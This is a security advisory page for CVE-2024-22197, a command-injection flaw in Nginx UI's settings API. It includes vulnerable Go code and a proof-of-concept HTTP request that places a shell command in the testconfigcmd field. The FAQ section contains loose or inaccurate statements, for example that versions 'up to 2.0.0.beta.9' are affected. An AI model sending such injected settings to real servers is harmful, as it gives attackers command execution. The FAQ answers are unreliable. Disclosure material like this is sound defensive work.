CVE-2024-22197: Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)

Published Jan 11, 2024
·
Updated

Summary The Home > Preference page exposes a small list of nginx settings such as Nginx Access Log Path and Nginx Error Log Path. However, the API also exposes testconfigcmd, reloadcmd and restartcmd. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API. go func InitPrivateRouter(r gin.RouterGroup) { r.GET("settings", GetSettings) r.POST("settings", SaveSettings) ... } The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings. The SaveSettings function is defined as follows: go func SaveSettings(c gin.Context) { var json struct { ... Nginx settings.Nginx json:"nginx" ... }

...

settings.NginxSettings = json.Nginx

...

err := settings.Save() ... } The testconfigcmd setting is stored as settings.NginxSettings.TestConfigCmd. When the application wants to test the nginx configuration, it uses the TestConf function: go func TestConf() (out string) { if settings.NginxSettings.TestConfigCmd != "" { out = execShell(settings.NginxSettings.TestConfigCmd)

return }

out = execCommand("nginx", "-t")

return } The execShell function is defined as follows: go func execShell(cmd string) (out string) { bytes, err := exec.Command("/bin/sh", "-c", cmd).CombinedOutput() out = string(bytes) if err != nil { out += " " + err.Error() } return } Where the cmd argument is user-controlled and is passed to /bin/sh -c. This issue was found using CodeQL for Go: Command built from user-controlled sources.

Proof of Concept > Based on this setup using uozi/nginx-ui:v2.0.0-beta.7. 1. Login as a newly created user. 2. Send the following request to modify the settings with "testconfigcmd":"touch /tmp/pwned". http POST /api/settings HTTP/1.1 Host: 127.0.0.1:8080 Content-Length: 528 Authorization: <<JWT TOKEN> Content-Type: application/json

{"nginx":{"accesslogpath":"","errorlogpath":"","configdir":"","pidpath":"","testconfigcmd":"touch /tmp/pwned","reloadcmd":"","restartcmd":""},"openai":{"baseurl":"","token":"","proxy":"","model":""},"server":{"httphost":"0.0.0.0","httpport":"9000","runmode":"debug","jwtsecret":"foo","nodesecret":"foo","httpchallengeport":"9180","email":"foo","database":"foo","startcmd":"","cadir":"","demo":false,"pagesize":10,"githubproxy":""}} 3. Add a new site in Home > Manage Sites > Add Site with random data. The previously-modified testconfigcmd setting will be used when the application tries to test the nginx configuration. 4. Verify that /tmp/pwned exists. $ docker exec -it $(docker ps -q) ls -al /tmp -rw-r--r-- 1 root root 0 Dec 14 21:10 pwned

Impact

This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.

Other sources

Nginx-ui is online statistics for Server Indicators​​ Monitor CPU usage, memory usage, load average, and disk usage in real-time. The Home > Preference page exposes a small list of nginx settings such as Nginx Access Log Path and Nginx Error Log Path. However, the API also exposes testconfigcmd, reloadcmd and restartcmd. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API. This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure. This issue has been patched in version 2.0.0.beta.9.

NVD

Nginx-ui is online statistics for Server Indicators?? Monitor CPU usage, memory usage, load average, and disk usage in real-time. The Home > Preference page exposes a small list of nginx settings such as Nginx Access Log Path and Nginx Error Log Path. However, the API also exposes testconfigcmd, reloadcmd and restartcmd. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API. This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure. This issue has been patched in version 2.0.0.beta.9.

NVD

Affected Software

15 affected componentsFixes available
go/github.com/0xJacky/Nginx-UI<2.0.0.beta.9
2.0.0.beta.9
NginxUI Nginx UI<2.0.0
NginxUI Nginx UI=2.0.0-beta1
NginxUI Nginx UI=2.0.0-beta2
NginxUI Nginx UI=2.0.0-beta3
NginxUI Nginx UI=2.0.0-beta4
NginxUI Nginx UI=2.0.0-beta4_patch
NginxUI Nginx UI=2.0.0-beta5
NginxUI Nginx UI=2.0.0-beta5_patch
NginxUI Nginx UI=2.0.0-beta6
NginxUI Nginx UI=2.0.0-beta6_patch
NginxUI Nginx UI=2.0.0-beta6_patch2
NginxUI Nginx UI=2.0.0-beta7
NginxUI Nginx UI=2.0.0-beta8
NginxUI Nginx UI=2.0.0-beta8_patch

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/0xJacky/Nginx-UI to a version that resolves this vulnerability.

    Fixed in 2.0.0.beta.9
  2. Upgrade

    Upgrade uozi/nginx-ui to a version that resolves this vulnerability.

    Fixed in 2.0.0.beta.9
  3. Compensating control

    Ensure the API access control for authenticated requests is enforced by requiring a valid JWT token or a matching X-Node-Secret equal to the configured Node Secret (authRequired middleware).

Event History

Jan 11, 2024
Advisory Published
via GitHub·04:30 PM
CVE Published
via MITRE·05:56 PM
Data Sourced
via MITRE·05:56 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:15 PM
RemedyDescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2024-22197?

CVE-2024-22197 has a severity level that indicates it could pose a risk due to the exposure of sensitive commands.

2

How do I fix CVE-2024-22197?

To fix CVE-2024-22197, ensure that you upgrade to a secure version of the software as specified in the advisories.

3

What software versions are affected by CVE-2024-22197?

CVE-2024-22197 affects several versions of Nginx UI, specifically up to 2.0.0.beta.9.

4

What specific commands are exposed in CVE-2024-22197?

In CVE-2024-22197, the exposed commands include test_config_cmd, reload_cmd, and restart_cmd.

5

Can I modify the exposed settings in CVE-2024-22197?

While the UI does not allow modifications, the exposed API still reveals these sensitive settings.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203